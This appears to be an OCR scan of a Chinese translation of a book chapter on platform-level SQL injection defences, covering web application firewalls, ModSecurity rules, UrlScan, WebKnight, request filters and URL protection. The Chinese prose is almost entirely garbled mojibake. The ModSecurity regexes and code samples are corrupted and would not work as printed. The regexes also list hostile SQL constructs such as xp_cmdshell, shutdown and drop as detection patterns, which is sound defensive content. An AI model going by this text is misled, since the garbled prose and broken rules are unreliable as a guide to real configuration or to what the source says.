MUK BB EEY . AEBRORPEESHHEK, PEAEERE, ROINARBRE
HETEIR—F 2RI L2,

BATH &SN DIBIT R BRI, oln Web A 45 884545 A0 200 B2 HE G2 1) i
TR W IR P MO ROOR I B R 2 AR, LA AT RIFE 9 SQL vEA IR R 5k
MR . B JEH — AR 2 v LAREAT VBB T4 LA PSAR B -

—REERE, AENAHBRTEARERLZERBRE, EN5LERBEATILR.
INEL K EAE AL SQL A, BHIMSoHFIHERE MM, 224 waeaT LB R
el Sy B R AR A TE 2 1R) 6 FOLAR T (0 5, 3 W7 LA Dby A1) Bk (zero-day threat)(EE 21 “uc8010”
B3h SQL HEAM, EIEHRANBRINEAT 100000 ™ Web 3 SRR AR . A REIA M
ERFHINA, FEREEEREBER L EE N EEARTY.

9.2 RABATHRY

FHIE LM RITRIOVBTHRY, X7 AT, RSB FEE
1 5 S T B N (KR ARRS BR AT 3828 1) SQL FE . IX A AR v 7 =B Web R4 42
MEBAEL@GIW, NET #2538, J2EE. PHP S5)[K 8146 {8l R4 Web 8 FIF- & #F T
BURT BRI EOR . BATHE M KL B 577 R %2R, LM Internet |+ F#
Flo BRAFLEERLIAT AZTHE —FMREMBEAEAR, ERIIXEASSNHHELN].

BATRI R R — R MHER A TREIB R K SQL EARFEAMMAM TR, BEH2K
HHPRACHE KT R AR M AR R TT R (AR T BRI R A AT BEH R AIAT AL Reema Bifh,
B A BR THEE I 3K B AR SN (COTS) N AT B4 i 5 kg R, APeefs AR
FImTRE. BIfEREMEIZLA COTS A M ARG RIS, BB E MR AT SR & 7 HER)Fh
A BL FARYE 1E 7 55 A0 R WISk AR G BE T . BB B (A7 S W] e TEH i (R 75 AR RS A o
Pt B (OB (R AUSS Ty o M SR 2R RT REAE VT RIME CSURAS, B A3 9 AT TR R HH TR AR R R
IXLH LAY ULAE LU IR T BRAME AR o 0 5 07 R BRAOIS AT IR B B R L .

RPERE T E RN MR RIAMBEIR, w3 el UGB T R ED —HaMEN L2EXR
RARBBCRENE SQL EANRFHFIA . RN HMAKLE Piid & 2B R EEEEIR, N
BT # P R S RREIX LRI . R B AT A BRRIBAR & Internet ) 5807 8 K9 SQL
FENGE BB B R TP e . MK, BT AR AR R RN I B b H], 17 HLR sk
BLASTH B N R BB TR

HRBITH RO TR B, EAESEEREATRY R —RRA. RIBMERTE
BIANIEL, TR RN 5 S8 AT Rt LR AR IO RE SR (S MR B, I 1T R 4P A2 E I B 11 b
AT VPRI RIFOUHR BT R), —EERBORLIMERLT. 55 BEEE
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FLBITRRRTREH T RERAE. MBBRT RS TS, THERRIER MR a8
R TEEABFERNRAFEZEMER), BAGTRIRENMAE. HRREER
BT RN T AR LR . BERPINRFOXFAERE R, ALARNMR
T REELRIZRBRIFRELIF). RRBRAENSITHNET, XBREBRESE S
BARRI D F &I VG T EREA RE R iR AL B

9.2.1 Web RifBs i

7E Web M 22, B ARZEITNM R ERMH Web NI KIH(WAF). WAF 22—
TP R RS E R R LSRR ME Web NARETHREMKMBMETR. BAEXHE, RAT
FERHE WAF BB 7E SQL AR LR A ThEE.

TR WAF B 5 R — DB /MU E 5Bl Web IR 5588808 I AOREER, &1
BIFAL R Web RIS RIEAZ, I HEES4Eh A3 HTTP/HTTPS BfE, EAEET
£ Web S{N A FLE H#HFED . BT MR R Z K WAF NEFER Web RS BHI, HREMIRTLL
R ZMAFEARE Web NA. RIIASEABMNSERE. Ad, WRBTERBEIRRA
fE (reverse proxy) 55 25 ] Web 4528 b, AT LAf# A — Lo SRR VR 7 RAE A M 488 % .

WEWBLLTE WAF 15 ?
WG R, A8 WAF 698 MM AL B 0p, FRidiX b b ip il ¥4 a] 69 2 45 2 69 TR
B =R, REAMKT WAF 69580 4ofT, TARIEZ Web B A &40 FAMAL LA
A B A7 A 4k [standard body]Z /&), e PCI(Payment Card Industry, ¥ A+-F47ik)E &
J& JA% # i#% 2. PCI Requirement 6.6 #— A~ 50 .
AW BN IRAE R ALY WAF k5 K49 EFPHFAE, WASC(Web B A &othe)n® T

“WAFEC(Web A ] B7 K& 4&474)" A% (www.webappsec.org/projects/wafec/). € #

J&5) WAF fif &7 £FERBE T RATaY 3%,

{# M ModSecurity

H3 b, WAF FHRHE R FFIR B ModSecurity(www.modsecurity.org/). ModSecurity # 7 & 5%
Apache F—/MEHR. WK Apache Web M55 2 E R — R AARE, 24 ModSecurity LFF
EETDMRI AT Web [ FH(EEE & ASP il ASPNET Web N FH). 7] LU ModSecurity 35231
W sy, . ANBERAM AN EME. BATEE A ModSecurity /4 EE K5 F R A
4 WAF I 7ERY I 35 TIPS SQL A L FBEHFAE

1) ATECEALN £
Web SV A3 BFIERBERME— . WAF 020 i B ] BL B A BB & R & PR AR R B 1E 8. ModSecurity
MBAETHRNES £, XMiEERREERSRMN AT HTTP & RKFm N _ 5 —fp ] g2 E
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H A . ModSecurity M4 RiliH 22— N RAEMaNE, thinaridkEd. EiEkicxag
HHEFEEZIER. EEELENB T2, A1EE T ModSecurity #) SecRule 14 il
g, W FR:

SecRule VARIABLE OPERATOR [ACTIONS]

VARIABLE J& % % ¥ ModSecurity 2|85 B Uy 7] i& sk 8w %2, OPERATOR J& ¥ 45 i
ModSecurity EFFRI TS, ACTIONS J& a5 B ILUT A AF L4 . ACTIONS J&@ t &l
EHFWREIR, B0 LE BRIAR A2 REE.

AbEE HTTP iEREER, "TLAX ModSecurity RIMIBHTECE LASCBR & (B, HE428)
HEE@®IW, AZB)NLLER ., W F BT R ModSecurity 40 # ) $£(ModSecurity Core Rule
Set)f] Generic Attacks }IN|3C/4(modsecurity_crs 40 generic_attacks.conf) 1 ] — 4 52 Fr it 22 42
B SQL yENFM

# SQL injection

SecRule REQUEST_FILENAME | ARGS|ARGS_NAME
"(2:\b(?:(?:elect\b(?:.{1,100)?\b(?: {?:1ength|count|top)\b.{1,100}2\
bfromlfrom\b.{1,100}?\bwhere)l.*?\b(?:d(?:ump\b.*\bfromlata_type)|(?:to_
t?:numbercha}]inst}r))ip_(?:(?:addextendedpro]sqlexe)c!(?:oacfeatlprepar)elexecute
(?:sqgl) 7 Imakewebtask) |ql_(?:longvarchar|variant))xp (?:reg(?:re(?:movemultistring]|
ad) ldelete (?:value|key) |enum(?:value|key) sladdmultistring|write) |e(?:xecresultset |
nundsn) | (?:terminat|dirtre)e|availablemedia|loginconfig|emdshell|filelist|makecab|
ntsec) |u(?:nion\b.{1,100}?\bselect|tl_(?:filelhttp)) |group\b.*\bby\b, {1,100}7?\
bhavingl|d(?:elete\b\w*?\bfrom|bms_java) | load\b\w*?\bdata\b.*\

binfile| (?:n?varcha)tbcreato) r)\b|i(?:n{?:to\b\w*?\b(?:dump|out) file|sert\b\w*?\
binto|ner\b\w*?\bjoin)\b| (?2: £ (?2:\b\w*?2\ (\w*?\bbenchmark |null\b) |snull\b)w*?2\
O la(?:nd\b 2 (2:\d{1,10} ) [\N'\"][*=){1,10}[\"\"]) ?[=<>]+|utonomous_
transaction\b) lo(?:r\b ?(2:d[1,10} 1 [\N'"\"]["=}{1,20}[\"\"])
?[=<>]+|pen(?:rowset|query)\b) |[having\b 2 (?:\d{1,10} | [\"\"]1[*=1{1,10}[\"\"])
? [=<>]+print\b\w*>\@\E | cast\b\w*?\ () | (?:;\w*?\b(?:shutdown|drop) | \@\@versio
n)\b|'(?:s(?:qloledb|a) |msdasglidbo) ") ™ \

"phase: 2, capture, t:none, t:htmlEntityDecode, t:replaceComments, t :compressWhit-
eSpace, t:lowercase,ctl:auditLogParts=+E, log,auditlog,msg: 'SQL injection
Attack;, 1d:'950001', tag:'WEB_ATTACK/SQL_INJECTION', logdata:'%{TX.0}', severity:
'CRITICAL'"

BTRMBELSFBTRMOTHZAN, EMNNMATE -£EEHS. BHERDKT
ModSecurity 84 FIE £5 R, HZ% ModSecurity fIH 5 3R, EALF www. modsecurity.org/
documentation/ modsecurity-apache/2.5.7/ modsecurity2-apache-reference.html.

o ZHME —4&ZAeMM(SecRule), FF M EIEIHRBLE RIITEE.

o i FUINKs N B RAE(BTBL: 2). XIEREHET K RENREFRER

(REQUEST _FILENAME), Fi# (¥)i%K2 ${E& 1 POST HEARGS)HIiE RSN 4
(ARGS_NAMES).
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o RHEA G AMIENFERBIORILAB IR . WER, CE2MREMNREXEH T
AR, XEE DU AT LA AR 0 B 9 SRy ) AR L4 45 5 o3 41 H B 4r UL AC i
P T HAR

o LR ZFiEiERBIES L EMEBRAEH tsyntax KFER), XHEEETHEIEEEE XK
RGBT RIS . BT R rnone, BXFLARTFTA (95 Fe 3 ek BOREL N AE T ¥ 0 X
5y. WG tlowercase, EXFTH FREHA/NE . HIa] ek BN N %6 B AR
BAES R Wk DR THIEHE RN ELZER).

e 1578 ModSecurity 53 4B () ) Y 4410 3% 21 H B P (et auditLogParts=+E).

o ETFRTFEAHE(og)PieFR— K%M B R INILES . 4 #5522 Apache 4512 H
&3 ModSecurity F# # H 35 (auditlog) .« ] Z A Z N — 2% 1 B LAR B IR —Ff
SQL i A iki(msg: ‘SQL injection Attack’y. [ H &P FEIN—AErE X 4B KA
(tag: 'WEB_ATTACK/SQL_INJECTION"). MtAt, iCEEEBYATE 2 IR EF PRI
Sy LA B2 % 3 0 & b (logdata: %{TX.0} ). B H KB IEREET TS S8 LB & H
HEE

o WMINMILEKHEE “KBINTE" (serverity: ‘CRITICAL").

ZHR R 53 B T —/NME— /) ID(id: 950001 7).

ModSecurity #Z.LHMNER S T HF SQL IFEAM SQL EiE A B2 N, T TAT LAARHE N
PP ARG . BT, XL B BRI E AL log, SXRETT LA % FH 2 “ £ 4Mout-of-the-box)”
A YEIE R IRATATLATEAS R M IE 7 B A AT 0 B AT 38 I B ol BRI 1R 15 8 I 1 BRI LAE A
BB AR P E AN X IR . HIE R A ModSecurity 7 MR EE, WRIAE
RIEW, IAFTH WAF #47 E#HR 7 58 . ModSecurity #%-Cr T4 () BRINAT o LA AT R,
ABRMNBEAT B SRE P ENRFATRANHMT R IFEERN . wRIEEEH
ModSecurity &8 CANHIRTE, WA LA B XS 7 B8 LA L8N 4.

THERT -FEEXHALRRN, TUMEFRTERA PHP BWARNAERANT . Riks
script.php HIHR LA E — N5 K statid KIS K, BHOEBEAL 1 33 KEORT. HEX
TG, EAT A HELE ) statid 25009 SQL FEA KRR

<Location /apps/script.php>
SecRule &ARGS "!Q@eq 1"

SecRule ARGS_NAMES "!~statid$”
SecRule ARGS:statID "!~\d{1,3}s"
</Location>

2) iEREEER

WAF i SQL FENRY T RERANGFALEE . S2BF b, Bk a] LA HIRFE HTTP &K 4E 7
B, HIERFRSH. POST B¥E. cookie. HE XHIBREIRMER HTTP k(#l, SIHR. K¥
24y, LK URL BEERIER2 WA+ . ModSecurity fE#SALEEATH XN . WAL
ModSecurity SCFFIZE R SR B, T 20T B —01F, BB B T%# T ## ModSecurity
R EMIFRERY, WAF DISLIE A R T 200 SQL iE AR .
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REQUEST BASENAME
REQUEST_BODY
REQUEST_COOKIES
REQUEST_COOKIES_NAMES
REQUEST_FILENAME
REQUEST_HEADERS
REQUEST HEADERS NAMES
REQUEST_LINE
REQUEST_METHOD
REQUEST PROTOCOL
REQUEST_URT
REQUEST_URQ_RAW

3) iEKRERAEL

W LA 2 Ay SRS U 75 H2 DAIBE o T %7 B AR 0 3 A e 1T B A B N B S I B8 . 5z
Br_L, ModSecurity BESEXHT[ R IMMILIGT. X HRBEREE, 1T LUK XL HT
RIGF 2 Y F B 400 L. R ModSecurity 22% T o i — /M e pR 5 % -

baseé4Decode
base64Encode
compressWhitespace
cssDecode
escapeSeqDecode
hexEncode
htmlEntityDecode
jsDecode

length

lowercase

md5

none
normalisePath
normalisePathWin
parityEven7bit
parity0oddibit
removeNulls
removeWhitespace
replaceComments
replaceNulls
urlDecode
urlDecodeUni
urlEncode

shal

trimLeft
trimRight

trim
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WS E BB RAN R RGP R T sk, WET L B ModSecurity SCHFI) Lua JIACE S
KA B E SUR R of .

4) NGRS

WAF TERCES SQL i AN 77 G 5 4h A RES M — W HCEE Bt ER,  boini¥
4071 SQL #4iRVHE . 0 F s & ModSecurity 1.0 N4 Outbound RN 4 (modsecurity
crs_50_ outbound.conf) P f]— 4k 32 5 () 41 it (outbound ) KR I :

# SQL Errors leakage

SecRule RESPONSE_BODY
"(?:\b(?:?:s5(?:elect list because it is not contained in (?:an aggregate function
and there is noleither an aggregate function or the) GROUP BY clause|upplied
argument is not a valid (?:(?:M(?:s |y) |Postgre)SQL|0(?:racle|DEC)}} |5(?:yntax
error converting the \w+ value .*? to a column of data type|QL Server does not
exist or access denied) |Either BOF is True , or the current record has been
deleted(?:; the operation|\. Requested) |The column prefix . {0,50}? doces not match
with a table name or alias name used in the query|Could not find server "\w+' in
sysservers\. execute sp_addlinkedserver)\b|Un(?:closed quotation mark before the
character string\b|able to connect to PostgreSQL server:) | {?:Microscft OLE DB
Provider for .{0,30} [eE]Jrror |error '800a0lb8)'| (?:Warning: mysql_connect\
(\) |PostgreSQL query failed):|you hava an error in your SQL syntax(?: near
"I;)Icannot take a \w+ data type as an argument\*.|incorrect syntax near
(?:\'|the\b|@Rerror\b) [microsoft jet database engine error'8|CRA-\d{(5)}: )
I\ [Microsoft\]\[ODBC]"\"Phase:4,t:none,ctl:auditLogParts=+E,deny, log,
auditlog, status:500, msg: 'SQLInformation Leakate',id:'970003', tag: 'LEAKAGE/ERRORS®,

severity:'4"™™

b S N T ST VLG 1 E M RIE KGRI E T SQL £51%), N ModSecurity £ & 1%
AN 501 RARD . X R PEARFRHEIT 0, At ORISRk sk B 5 E S R % .
X P N 3 AT A R EIEAE B SQL AR, Xt SQL B th A A #E, B
SRS —Fh B 2 B e AL

5) ANR¥EMEEH

ffo, WAF MNiZn] DA ISR 4T 8, IBRIRIBERIAT AR RESR 4T3, JHREAE SQL
TENFAF G AL 5r Pr(forensic analysis)fRiF— M AEMTEMEMFH & . BEM ZRMHFH
W R RS Z B BGE R fE BLBA BT T A B R R T T AR R R e RBE IR
#i BN, RREAENMESUCRIAT I ATEE T [ B AR R I 68 h 52 CURCA T WAF
B - B H . 7E SQL iEANS 2 JFHATIEE ST, B UG A KB Web k5 2%
HESCH AL AR 3E T o % 0HE % & iER P — N0 54 .

B4—F, {6/ ModSecurity RTLLBHIE SQL fE A E . &5 2411 SQL AW . Al
Ty i A P 400 A0 el £ 7 @ SQL {EA MR ARG SQL ik . K&k ENAT
ModSecurity 1 WAF J&, #& NRENTE AT LUEE WAF MR TR, A eiARu WAF
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it MEWLORR, XEHRERERER, 3 AERBRENEEHRE ) E LW
EEHE,

9.22 #HTTIERSR

REH WAF LT BT B MAREERBEA P LS T —HREMLI, SEEL
TRIBOLHBER, LUK BN TEREE R IFE R (LN, Web . URL. A28 iy
BB AT FHATAERAE . B8 2 M RARIRBIER, W LR WL o 38
ARHTRTSR FAS BT I8 a8 . X PR (18 I IR AR AT LABS S T . 70 R0 B AT LAY i e e
fEA Web [ 45 B8 HEAEARINBURL AT R, -t BT LAZE 7 PR G 8 S o 0 B AR S SRV ot 2

HWREEPATE RGN (SN B R MBS P T RS, SHBTEE
FITHMARIE. #8R/MN IS RE H B AR R L NS 22Tt B F Rl B
WEY LR # LI ——Web MRS5S BRIEAEFIN AR MER . AT LUK A 2B 3501 SQL FEA
BRF'e B 9-1 R T EN1& B RIEEL Web B BARAIIA ORI Web 3310 258 35 5] i 60 5 7 A
PAT IR

i ' N Y

1 H HE 42

Web i %5 2%

B 9-1 ik Web AR %28 A0 R A it 38 28 O T
1. Web A& 35 38 i3 48 2%

FTLLRIT 8 88 SRR Web MRS 88 BEHARME, EATBERT R Lol R AT N AT B DI b 2
Web fiR%588°F £ 1) APL. SAK YL, Web IRFBAFEMHE RN LSBT —RIIN R, fEEA
B BUAR AT LA SATIE MBI . Web AR S8R S i 2018 R B3k Web N2 BTRIF= AL AN 2 S
HSE X RIACE . BT XS Ve T F3A 2 B A Web IR 5532 BUELHT Web 17 F (0
JERE B4R . IX T Web B % SR M HR R 0 SE BRI VE AR I —F AN H £93% 4% . Apache. Netscape(
3)+ S(Internet 15 BAR S ) WHATH Web IRF- B P EB T RHIXFEN . BBIOE, HTFiXELF
EBWEMT ALK APL, HETIEEE Web 42857 & B HOX L,

Web it 5 S$HEHUR B B AR AR : ENTREE AR Web N ELERGHEIES. #Hlm,
%24 ISAPI K 1IS 4 5% AT i F 34iE 3 M ¥+ %% Classic ASP & ASP.NET Web N A Hi#R, 1
AT AR SO T SRR A 2. R Web FRSS-S8 A0 T A A 2 38 (— Tl SR B3 2 I
IR AN R 7 0 R R E R A B IR 4 B A =, AT DL i e 0 dE 2% R B IE R (E AT
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Web N (B4, BT LMEA 1S ISAPI Rf 25484 J2EE. PHP #! ColdFusion Web W ). & J5,
i Tt 38 AR R AT 3B Web TUENA SR RIAT K, B0 M RE SRR S8 . 38 % F R A R F21E 35 (B
W C 85 C+H)SHL Web AR %251 3848, IXPEMUBARE TR, B SEAMSI AT EXEN
WAL, Hhan g X it ARE 2 7 B2 i) .

Web iR 55 SR ER L SE i R R E A LA S5, FAIERAMm NS4 HEN AT APL. AT
PURYE BAR B T 223K T A Web IR 2B[003X 1720, Bl SQL HEARYPRSE —Midigad. ¥
B, BATET LUME FH 2 FhAT S S RG4S SQL AR Web IR S 283 W 22T Al
SN ModSecurity, B & —FhAEBSIR L ETA) SQL AR 1) Apache API Btk 2 F 3k
BB 41— UrlScan I WebKnight, EAITRHE/LE] 1S Web 57 28°F 4 1 ISAPI T #E2%, fiE
B SQL JEARY:

1) UriScan

2008 % 6 FJ, Microsoft &4l T UrlScan 2.5(F ¥ FE X4 IS Lock Down Tool i —#841) AT
2R 3.1, SHI—R—#FF, UrlScan 3.1 th 2 —Fh 6% B 285 2 T K R R 90 ISAPI i B 38.
AN, ETAT ] R N R B (AR B AR SQL EN), IR E R A mi N A 2008 ) FF LG
G KB Web 35 21 SQL 3 NI Ry R AR o 3XASHTAR A ST #5861 8 15 5 A #0001 Sk B 22
FERERIER. A, R EBR FEFRE . LM cookie. T LUK IXELH M| N FH 2] %5
F ARG 2 LT Web BE, LGN Classic ASP #l ASP.NET ¥ ¥R AR5 14 B i IS
SHENEF M, S7F logging-only #3X, w1 urlscan.ini LA {TREE .

MM, UrlScan A3CFFIEMIRIA R HAGEIRY POST ¥4, X Wb PR ShIAE 792 Toid i
A SQL EARIBAFHIMRITR. AT H Tcd, Hms TS SRS HHE—fk
IR E MR ) RSN ARG, EIEEER.

HFTEA ) http:/learn.iis.net/page.aspx/473/using-urlscan/UAZKEX =T UrlScan HO5 2245 B 3T LI
www.microsoft.com/downloads/details.aspx?familyid=FEE41818F-3363-4E24-9940-321603531989
&displaylang=en | FEE.

2) WebKnight

5 UrlScan —¥Ff, WebKnight /& -FhBH 2452 MEIHRM 1S ISAPI L yEds. ©HH
UrlScan 324 B 4%t 2IH AT AL, At UrlScan, ‘B KRR T LA POST #iE 4 i
M . WebKnight AR mEMACE MM T GUI, GUI {#78'E4L UriScan ¥ 5 THE .
HL b, AL UrlScan (1% 8 F A %] WebKnight &1, #IR#Z, F UrlScan —#, WebKnight
WAZFFIENFREN, HMRERRETRARCRBTRIE. B4, POST BB MR EK Kk
WebKnight 22k pli4> JRid 3848, X1 T 1IS 6.0 R, XEPRE FELL IS 5.0 Isolation(FR L) 4 X
KIZAT .

# SQLiFEFAM S, WebKnight f&—F Lt UrlScan BIF R AT E, FNERE ELTMIE
kP8 i Y El . WebKnight [E#%:5) T %%, (Hed/ D EMRERMNE B L oMBA R, XEH
EEIESVERNAT B3) SQL i AR 19— - FhUE FACE R 05 R B fPLE)

H] LLA www.agtronix.com _E F# WebKnight.
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THRE5MEM

TRRTIERE

AR LRERY EA KL SQL EAZN, —X SR B THRIDFS PrILf
ORPEE. BRERBAHLAFHENZLLE, RoR R ETAERENGITSH
Foge o ARAL, R 2MBL & —FP4R G %4 IA9%. Microsoft #9 UriScan 3.1 #.2 AMR4F
QBT CRI|T EMFHE. Lo cookie R, # 5% SQL iz AKE# POST £
R B RELANA.

2. MRS

AT EAMEE A Web R A (IR TR 8 & BUNEZR R SCHI 888 . L4245 Web FIR 45 2845 44 IO AR Hy
Rl WAL EFRMBNLEF— BRI BB AT, TLl#H ASPNET [
System.Web.IHttpModule # [1fil javax.servlet.Filter # (1 SEILIT IERAE R, 2 50T LAZEA B
AREBHIRT R TR S 0195 0 B SR o 26 3 R e B o oh B U BEE T AT, T FiR A A1
J2EE Filter 28] doFilter 75 ¥4 B BIARHS 484N R/Ma B £ 4 J2EE Web #R(JSP T - serviet
SR E KTV %O .

public class SglInjDetectionFilter implements Filter {
public void doFilter(ServletRequest req, ServletResponse res,
chain filterChain) throws IOException, ServletException
{
// Check request data for malicious characters
doDetectSqlI (rep, res):
// Call next filter in the chain
chain.doFilter (servletRequest, servletResponse);
}
}

RIS I8 AR SLE & TR R Y, FFREEAIT LA TR R, 32 R 00T LA A 4 B 5T
f.d11 BE jar SCHF3F HBESL B BHE . SXRORE 7045 E MNP 3B My RV R, BN
ATHEBH Web IREBREGERBIMT, MAFRAREH Web IRE 221005 FBR, F7LL
WA Web Jik 5525 F A VA LALE & 20 5 Web IR 25 28 10 SESR M X ROACE) . BRI 20 i 5 B FAH )
RIRIRE F R LIIX LT IR, FrLLEfITUY BRESNENGHNAT Y. ETRENE
A, XEGEBOTIREREHTHRER L FHNAGESE “TASKEB” — “# 4
ASP.NET Al IIS {&%" Web N~ SRIREX a4 7 Al i% BR 1 45 B .

5 Web R85 g 882800, SoA AR T LU 5 2 I ) Web RTINS 240, |
R R PR H B2 BT LU B Th e 3 B BT L S 4R ARE S (L Java FI
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CHR 4G5 X A5, AUV EiBEE S FHIBAARLSIIAFHRRAE MBS X B H). aTLL
18 F 5. 3% () 1 i 3ot 528 OWASP Stinger il Secure Parameter Filter(SPF)#:#ll 3£FA %€ SQL v AT
7. OWASP Stinger £ —#k J2EE it #£%¢, W LIA www.owasp.org/index.php/Category:OWASP
Stinger_Project |- F# %!, SPF /2—#k ASP.NET HttpModule, 7] LA www.gdssecurity.com/1/spf/
ETFR3.

Igggﬁﬁ#....;.

{£F ASP.NET #1 lIS {£$7 Web [ fd

T A4E8h ASPNET RABAES 538 18 34 LA £ A (php. .asp. .pl F)Best %] —A ASPNET
49 ISAPI DLL ¥ %t kA& £ NET ER X F {23z 474 IS L &% Web A (PHP. Classic
ASP. Perl F)t474 28, VAL 1S #9AL A BLE P12 A “Application” | “Mapping” #7
BREZRE. A TXMAHI, WATEALIE ASPNET 4§ Web 5 Al L3 #ATH AL IE
#o B &1LK 49 ASPNET HttpModule #7852, Rit, stifRKform HIATHRULH L
Fethl, IR EmPIERS G,

IIS 7.0 45 ASPNET # S X it44 ASPNET i RE#E 5 IS A ik K F AN &£
¥ RX—fEH. AAR L, Teld§ ASPNET 49 HttpModule A5 1IS ¥ H-34 2+ Fr Ay
R Aevl B 4G 25 BIAR (T AEZ AT 69 1IS R P, RA 1M ISAPI it i % A A 5 XA+ 4)),
iX % HttpModule BT T #t474 & 693 R fovh) L AL ZR & 88 77, FF EL SPF SR a9 A B "Ll
i4dRen B A B K E3F ASPNET #) Web A A RBER T ik a4 ARd?, SAARIATF
SPF RABLeGIAMRIP W RS54, WHHW “9.23 AT i THIBGIMAKRY”.

3. ERBAES LML EBRR

XFF Web BIAEE R, LHTEBBEXSFIMAEME. PHP M Classic ASP FH ARIKR
Bt P B A998 D SR ZE TR BRAT 2 81/ J5 A4 (hook)i& K /MR . AT LA#FH Web HRE 2T IEREST
N EGESS “« TRS5MEB” — “{#F ASPNET il IIS £4 Web N ” IREVEMER)
KRy 5 Z Wi Classic ASP . Ait, BHEERE Web RS2 LER RE, X—
EREMLEREREARMTE. o, BERESEN “72 FRHBTNART” —F kit
i 18 R R T ANARE AR .

Bt PHP Web AT 5, J LAYE php.ini 3C 4452 auto_prepend_file 1 auto_append_file AC
Bi64, XA MMEESANIFERE PHP AT Z BRI Z G4 34T H PHP S04F. %N
KRB RIE R R HTTP i RES(EWFEMH. POST. cookie. L25)E G, BRI LIHITR
ERMEH H&ER.

F—F T PHP Fl Classic ASP MM ATERMEA “8 &3 H(include file)”. XFHEHET
A ATUERM include 84 REHAE. R, BWEESHBEMERT HTTP & RKES
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SQL FABESHHE
[, DAEERTB AT LB TREF(E) H &g 5%
4. STIE Web IREH 2

8 F 52 SCA R RS o 3828 B RE AT LUR 25 ) bk 288 o 28 48 4 50 R A T XML Weeb IR
%o EILE AL IR AT U JESHRIHE SQL FEASEBATIRUE, WA US4 it g ae
FHIEARAIA ST, ELINTE Soap R BMEA REETL MBS R . NET Web R4 A
Apache Axis V- &34t T L 38 9 58 A A0t B RIPLE) .

ModSecurity 2 A] LALCEE P 3 XML 4 8 LU XML TARGET $4TRAEFM H BidF. T
PA{E ] XPATH & R #1530 (schema) 8% DTD(SCRYZE R 52 SO) SR AT IAE, ¥F 7] DA% (B 75 F
B XML By kB ANd, IXSf 3 A2 MK B % . At R R 35K SQL AR, MF el gs

9.2.3 A AIHRBRMNRINS ATRIBAIMNRIA

JUF— M S St IS T B AR, WA SQL FEAN DA E IR K B 5 A3
F 2 B UEWAKTRAT HRCE R REF LB . XaTREF N ABMERSHE L —MERAIT
Bo(Blin, B4 R)R—I4 AR TS (RN EFEE 2 ST 0) . X T-HERR B i XA A (L
WSCAHE) R, ISR,

73— PP E TS 18 NS0 UE SRS 2K Y N 2 BT 4R R AR B g I M 26, 9F BLglse
ARG A METERIEEN]. FRIREBMAREELHAPATEEZERWHA, thin
PRl RBFER., URI AT RS, cookie F. L EMBEESMFRBE: MAMNIZI Y
PHATHPEOSEESM010s0E. HEBR: £E7HME8 HTTP N UK 4 i S ikigk
(RPMGEEIIFBEETA T BEERFPRE, 2 5 FREAMEAPREE BoRRIEE FkiiER.
X FARE ARG, EMEEH RIS MARANTRERA . Fi, WRAEBIZITH B3
SEBN, BAETRHAFTLENE HEFBESHBIEATREBMA L XEREESLE.

SCHLX Fh S H B AR TG B HDIV(HTTP Data Integrity Validator, HTTP $(45 5548 M I 1F 58)
M SPF. R]LAMEFA HDIV R4 K % H 41 MVC(Model-View-Controller)#i =[] J2EE Web N .
ATLAM www.hdiv.org b F#.Z] HDIV. o] LL{# ] SPF {£4#7i21T7E 1IS 6.0 - f ASPNET Web W H .
A, ATLAXY SPF HEATAE B LA B IE RAPUEFNEATEE 1S 7.0 LA Web NF . i§5% “ TR E5MEH”
— “{&f ASPNET I IIS {R#" Web NI ” LIRERE 15 8. AT LA www.gdssecurity.com/1/spf/
£ ¥ SPF.

9.2.4 URL %&B:/TIE R

HARE — LA AENME SRR T, A5 ZBEH URL sRITHEIT RN T 1)
B

1. NEHES

RS 2Bt AR, WA LG8 — DN EETI RSB T ERE, #idti
Web 1 Bg 30 H BB E AT LASCHLIX A #e . 7E ASPNET AR, WIATLU#EM HTTP M
SCHIX —{T %%
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THERT —FERELR EE X HTTP A, E4BE K iX4 PageVulnToSqll.aspx 51 [l Ik
5Bk TE MK B G W ORSOEE — MR ARG TURE S, K et
SR S HO AR IR LR 22 BEE U ) o A .

<httpHandlers>
<add verb="*"
path="PageVulnToSqlI.aspx"
type="Chapter9.Examples.SecurelAspxHandler, Subclass"
validate="false" />
</httpHandlers>

A] DAFE J2EE Web 1N FH ) %1 % 4 1R 2%(Deployment Descriptor) ¥ {8 U . AT LUK 5
B ) URL Mg B — /Nl 2 277 AL B K Serviet b, W FBiR:

<servlet>
<servlet-name>SecureServlet</servlet-name>
<servlet-class>chapter9.examples.SecureServletClass</servlet-class>
</servlet>

<servlet-mapping>
<!--<servlet-name>ServletVulnToSqli</servlet-name>-->
<servlet-name>SecureServlet</servlet-name>
<url-pattern>/ServletVulnToSqgli</url-pattern>
</servlet-mapping>

2.URLEES

URL E5E&—FM 5 NHBESELMSEAR. nTLLEDAE Web AR5 8% 5% 5 FHE 2L R BaliU iR
LSk ey B W TUE B URL RIESK, IPH e E e m ) 0 FAE AR A . TR R A
Wit — R 2R 7 AR ERME B . B 2% 7E iR 5545 3 SEIAX Fh B 5 o] MR FE 5 & P 3R
TCEEAHE . RIE Web RFSB[BAINFFERIAR, wI#EEH M7 ERLINZEMES . Apache [
mod_rewrite MERFI.NET HEZEH) urlMappings JCE 2P~ 61 .

3. ARKEE/EEK

A LUK B R AR E/ 4 5 T B 5B URL S5 & A,  LUER B 3 DU R 1 B R
R e 25 oK . BHAR DU 7E AL EE B Tl SR N B F Uy 0] 1 R S () 775 5 . POST. cookie
FVHPAT L T/IIRAE . WRBINER R AR, A28 T okt £ VR T P30 45 28 1 KRk
ZIERAERES HRWE . 52 B0h RSB ZMAFIATIEERER. 3 T&R0E
BAHAT T HKIE, FifiE X Xm 528 d e S AR T iTH. AARE LF,
BRI 5B d AT T, BAHERHIEZE.

9.25 MEFHEHmE

THI [5) 75 T 4R F2(Aspect-Oriented Programming, AOP)J&—Ffa gt w] & F 211 5 FH v B A /438
ATEABFRIEA. EFREES, e TFRONHPEAEH. E8ELFENARIE. 2
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FHE. BREESMSE. BT, FTLEH AOP K #th(hot-patch) 55 3% SQL A BLiti 1
NHA, A LEFREHUEERAMR EEBARKUAHEFEGRIEADINAHT . Z2%H
FE LS AT A B R B AR L, AN AT LU A7 ¥ AOP H)Z54b 4 B 2 Web R Z4b.
a] LIoKs 22 4 7 1 B B E0IRE U a1 28 BE & P um Y FH A R) 2 ZH 4R (KL dn EJB[Enterprise
JavaBean))¥ . #lin, ATAXT ARZ M50 SQL FE(WHI, executeQuery()id TRy #E . FHIE7 i)
AT LLECRE T S g Ah RS I EGE B R B B, fFAERE AOP SEHL, &mE W2
Aspect]. Spring AOP Fil Aspect.NET.

9.2.6 MAAREMNARL

